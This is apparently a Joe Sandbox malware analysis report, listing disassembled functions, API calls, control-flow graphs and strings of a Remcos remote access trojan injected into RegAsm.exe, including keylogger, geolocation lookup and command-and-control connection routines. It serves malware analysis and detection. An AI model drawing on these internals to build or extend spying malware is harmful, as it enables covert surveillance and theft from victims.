                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                        • String ID: Keylogger initialization failure: error
                        • API String ID: 3219506041-952744263
                        • Opcode ID: 24ad775559425fbf79376f518a65b03612fe455b391ecaf03d99fa65814271bc
                        • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                        • Opcode Fuzzy Hash: 24ad775559425fbf79376f518a65b03612fe455b391ecaf03d99fa65814271bc
                        • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                        Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1370 41b380-41b3c3 call 4020df call 43bd51 InternetOpenW InternetOpenUrlW 1375 41b3c5-41b3e6 InternetReadFile 1370->1375 1376 41b3e8-41b408 call 4020b7 call 403376 call 401fd8 1375->1376 1377 41b40c-41b40f 1375->1377 1376->1377 1379 41b411-41b413 1377->1379 1380 41b415-41b422 InternetCloseHandle * 2 call 43bd4c 1377->1380 1379->1375 1379->1380 1384 41b427-41b431 1380->1384
                        APIs
                        • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                        • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                        • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                        • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                        • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                        Strings
                        • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Internet$CloseHandleOpen$FileRead
                        • String ID: http://geoplugin.net/json.gp
                        • API String ID: 3121278467-91888290
                        • Opcode ID: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                        • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                        • Opcode Fuzzy Hash: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                        • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                        Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        APIs
                          • Part of subcall function 00413549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                          • Part of subcall function 00413549: RegQueryValueExA.KERNEL32 ref: 00413587
                          • Part of subcall function 00413549: RegCloseKey.KERNEL32(?), ref: 00413592
                        • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                        • ExitProcess.KERNEL32 ref: 0040F8CA
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseExitOpenProcessQuerySleepValue
                        • String ID: 5.0.0 Pro$override$pth_unenc
                        • API String ID: 2281282204-3992771774
                        • Opcode ID: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                        • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                        • Opcode Fuzzy Hash: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                        • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                        Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                        Download Yara Rule
                        APIs
                        • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,004334BF,00000034,?,?,00515828), ref: 00433849
                        • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000), ref: 0043385F
                        • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000,0041E251), ref: 00433871
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Crypt$Context$AcquireRandomRelease
                        • String ID:
                        • API String ID: 1815803762-0
                        • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                        • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                        • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                        • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                        Function 00448957 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                        Download Yara Rule
                        APIs
                        • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                        Strings
                        • GetSystemTimePreciseAsFileTime, xrefs: 00448972
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Time$FileSystem
                        • String ID: GetSystemTimePreciseAsFileTime
                        • API String ID: 2086374402-595813830
                        • Opcode ID: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                        • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                        • Opcode Fuzzy Hash: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                        • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                        Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                        Download Yara Rule
                        APIs
                        • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: NameUser
                        • String ID:
                        • API String ID: 2645101109-0
                        • Opcode ID: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                        • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                        • Opcode Fuzzy Hash: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                        • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                        Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                        Download Yara Rule
                        APIs
                        • SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExceptionFilterUnhandled
                        • String ID:
                        • API String ID: 3192549508-0
                        • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                        • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                        • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                        • Instruction Fuzzy Hash:
                        Function 0040E9C5 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 102 40f34f-40f36a call 401fab call 4139a9 call 412475 69->102 79 40ec03-40ec0a call 40d069 70->79 80 40ebcb-40ebea call 401fab call 413549 70->80 88 40ec13-40ec1a 79->88 89 40ec0c-40ec0e 79->89 80->79 98 40ebec-40ec02 call 401fab call 4139a9 80->98 93 40ec1c 88->93 94 40ec1e-40ec2a call 41b2c3 88->94 92 40eef1 89->92 92->49 93->94 104 40ec33-40ec37 94->104 105 40ec2c-40ec2e 94->105 98->79 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 102->126 108 40ec76-40ec89 call 401e65 call 401fab 104->108 109 40ec39 call 407716 104->109 105->104 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->127 128 40ec8b call 407755 108->128 118 40ec3e-40ec40 109->118 121 40ec42-40ec47 call 407738 call 407260 118->121 122 40ec4c-40ec5f call 401e65 call 401fab 118->122 121->122 122->108 141 40ec61-40ec67 122->141 157 40f3a5-40f3af call 40dd42 call 414f2a 126->157 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 141->108 144 40ec69-40ec6f 141->144 144->108 147 40ec71 call 407260 144->147 147->108 179 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->179 180 40ed8a-40ed91 177->180 178->177 203 40ed35-40ed7b call 401e65 call 401fab call 401e65 call 401fab call 40da34 call 401f13 call 401f09 178->203 234 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 179->234 182 40ed93-40ee0d call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 180->182 183 40ee0f-40ee19 call 409057 180->183 193 40ee1e-40ee42 call 40247c call 434798 182->193 183->193 210 40ee51 193->210 211 40ee44-40ee4f call 436e90 193->211 203->177 217 40ee53-40ee9e call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 210->217 211->217 271 40eea3-40eec8 call 4347a1 call 401e65 call 40b9bd 217->271 286 40efc1 234->286 287 40efdc-40efde 234->287 271->234 288 40eece-40eeed call 401e65 call 41bc5e call 40f474 271->288 289 40efc3-40efda call 41cd9b CreateThread 286->289 290 40efe0-40efe2 287->290 291 40efe4 287->291 288->234 306 40eeef 288->306 294 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 289->294 290->289 291->294 344 40f101 294->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 294->345 306->92 347 40f103-40f11b call 401e65 call 401fab 344->347 345->347 356 40f159-40f16c call 401e65 call 401fab 347->356 357 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 347->357 367 40f1cc-40f1df call 401e65 call 401fab 356->367 368 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 356->368 357->356 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 367->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 367->380 368->367 379->380 400 40f240-40f241 SetProcessDEPPolicy 380->400 401 40f243-40f256 CreateThread 380->401 400->401 404 40f264-40f26b 401->404 405 40f258-40f262 CreateThread 401->405 408 40f279-40f280 404->408 409 40f26d-40f277 CreateThread 404->409 405->404 412 40f282-40f285 408->412 413 40f28e 408->413 409->408 416 40f287-40f28c 412->416 417 40f2cc-40f2df call 401fab call 4134ff 412->417 415 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->415 415->417 416->415 426 40f2e4-40f2e7 417->426 426->157 428 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 426->428 443 40f346-40f34b DeleteFileW 428->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                        APIs
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                          • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                          • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                          • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                        • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 0040E9EE
                          • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                        • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                        • API String ID: 2830904901-3701325316
                        • Opcode ID: 30c98d85052ffbff03e9993bd8104adc494a48be42afa8666ff44a65e52adbf7
                        • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                        • Opcode Fuzzy Hash: 30c98d85052ffbff03e9993bd8104adc494a48be42afa8666ff44a65e52adbf7
                        • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                        Function 00414F2A Relevance: 46.3, APIs: 5, Strings: 21, Instructions: 809sleepnetworkCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 448 414f2a-414f72 call 4020df call 41b8b3 call 4020df call 401e65 call 401fab call 43baac 461 414f81-414fcd call 402093 call 401e65 call 4020f6 call 41be1b call 40489e call 401e65 call 40b9bd 448->461 462 414f74-414f7b Sleep 448->462 477 415041-4150dc call 402093 call 401e65 call 4020f6 call 41be1b call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 461->477 478 414fcf-41503e call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 461->478 462->461 531 4150ec-4150f3 477->531 532 4150de-4150ea 477->532 478->477 533 4150f8-41518a call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414ee9 531->533 532->533 560 4151d5-4151e3 call 40482d 533->560 561 41518c-4151d0 WSAGetLastError call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 533->561 566 415210-415225 call 404f51 call 4048c8 560->566 567 4151e5-41520b call 402093 * 2 call 41b4ef 560->567 581 415aa3-415ab5 call 404e26 call 4021fa 561->581 566->581 582 41522b-41537e call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 4 call 41b7e0 call 4145bd call 40905c call 441e81 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 4136f8 566->582 567->581 597 415ab7-415ad7 call 401e65 call 401fab call 43baac Sleep 581->597 598 415add-415ae5 call 401e8d 581->598 648 415380-41538d call 405aa6 582->648 649 415392-4153b9 call 401fab call 4135a6 582->649 597->598 598->477 648->649 655 4153c0-41577f call 40417e call 40dd89 call 41bc42 call 41bd1e call 41bb8e call 401e65 GetTickCount call 41bb8e call 41bae6 call 41bb8e * 2 call 41ba96 call 41bd1e * 5 call 40f8d1 call 41bd1e call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 649->655 656 4153bb-4153bd 649->656 782 415781 call 404aa1 655->782 656->655 783 415786-415a0a call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 782->783 901 415a0f-415a16 783->901 902 415a18-415a1f 901->902 903 415a2a-415a31 901->903 902->903 904 415a21-415a23 902->904 905 415a33-415a38 call 40b051 903->905 906 415a3d-415a6f call 405a6b call 402093 * 2 call 41b4ef 903->906 904->903 905->906 917 415a71-415a7d CreateThread 906->917 918 415a83-415a9e call 401fd8 * 2 call 401f09 906->918 917->918 918->581
                        APIs
                        • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414F7B
                        • WSAGetLastError.WS2_32(00000000,00000001), ref: 0041518C
                        • Sleep.KERNEL32(00000000,00000002), ref: 00415AD7
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Sleep$ErrorLastLocalTime
                        • String ID: | $%I64u$5.0.0 Pro$8SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$PSG$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                        • API String ID: 524882891-2158775120
                        • Opcode ID: 81c5a98812ea8a0caa0e97c4631378a6ab0cc3ec579a2ca142f0814394a5abfa
                        • Instruction ID: 324fc11d7bea0fba9c16e2c7d7b547a311b01f704130931fc4cc70caa797af2d
                        • Opcode Fuzzy Hash: 81c5a98812ea8a0caa0e97c4631378a6ab0cc3ec579a2ca142f0814394a5abfa
                        • Instruction Fuzzy Hash: 22526B31A001155ACB18F732DD96AFE73769F90344F6041BFE40A761E2EF781E858A5D
                        Function 00414D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 925 414d86-414dc2 926 414dc8-414ddd GetSystemDirectoryA 925->926 927 414edd-414ee8 925->927 928 414ed3 926->928 929 414de3-414e2f call 441a3e call 441a98 LoadLibraryA 926->929 928->927 934 414e31-414e3b GetProcAddress 929->934 935 414e46-414e80 call 441a3e call 441a98 LoadLibraryA 929->935 936 414e42-414e44 934->936 937 414e3d-414e40 FreeLibrary 934->937 948 414e82-414e8c GetProcAddress 935->948 949 414ecf-414ed2 935->949 936->935 939 414e97 936->939 937->936 942 414e99-414eaa GetProcAddress 939->942 943 414eb4-414eb7 FreeLibrary 942->943 944 414eac-414eb0 942->944 947 414eb9-414ebb 943->947 944->942 946 414eb2 944->946 946->947 947->949 950 414ebd-414ecd 947->950 951 414e93-414e95 948->951 952 414e8e-414e91 FreeLibrary 948->952 949->928 950->949 950->950 951->939 951->949 952->951
                        APIs
                        • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                        • LoadLibraryA.KERNEL32(?), ref: 00414E17
                        • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                        • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                        • LoadLibraryA.KERNEL32(?), ref: 00414E76
                        • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                        • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                        • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                        • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Library$AddressFreeProc$Load$DirectorySystem
                        • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                        • API String ID: 2490988753-744132762
                        • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                        • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                        • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                        • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                        Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        APIs
                        • Sleep.KERNEL32(00001388), ref: 0040A740
                          • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                          • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                          • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                          • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                        • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                        • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                        • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A927
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                        • String ID: 8SG$8SG$pQG$pQG$PG$PG
                        • API String ID: 3795512280-1152054767
                        • Opcode ID: 677456a4732d5fb77e9c8745959e99ef54ead223a942f07a0b0fb3c37e482db7
                        • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                        • Opcode Fuzzy Hash: 677456a4732d5fb77e9c8745959e99ef54ead223a942f07a0b0fb3c37e482db7
                        • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                        Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1051 4048c8-4048e8 connect 1052 404a1b-404a1f 1051->1052 1053 4048ee-4048f1 1051->1053 1056 404a21-404a2f WSAGetLastError 1052->1056 1057 404a97 1052->1057 1054 404a17-404a19 1053->1054 1055 4048f7-4048fa 1053->1055 1058 404a99-404a9e 1054->1058 1059 404926-404930 call 420c60 1055->1059 1060 4048fc-404923 call 40531e call 402093 call 41b4ef 1055->1060 1056->1057 1061 404a31-404a34 1056->1061 1057->1058 1070 404941-40494e call 420e8f 1059->1070 1071 404932-40493c 1059->1071 1060->1059 1063 404a71-404a76 1061->1063 1064 404a36-404a6f call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 1061->1064 1067 404a7b-404a94 call 402093 * 2 call 41b4ef 1063->1067 1064->1057 1067->1057 1083 404950-404973 call 402093 * 2 call 41b4ef 1070->1083 1084 404987-404992 call 421a40 1070->1084 1071->1067 1113 404976-404982 call 420ca0 1083->1113 1096 4049c4-4049d1 call 420e06 1084->1096 1097 404994-4049c2 call 402093 * 2 call 41b4ef call 4210b2 1084->1097 1110 4049d3-4049f6 call 402093 * 2 call 41b4ef 1096->1110 1111 4049f9-404a14 CreateEventW * 2 1096->1111 1097->1113 1110->1111 1111->1054 1113->1057
                        APIs
                        • connect.WS2_32(?,?,?), ref: 004048E0
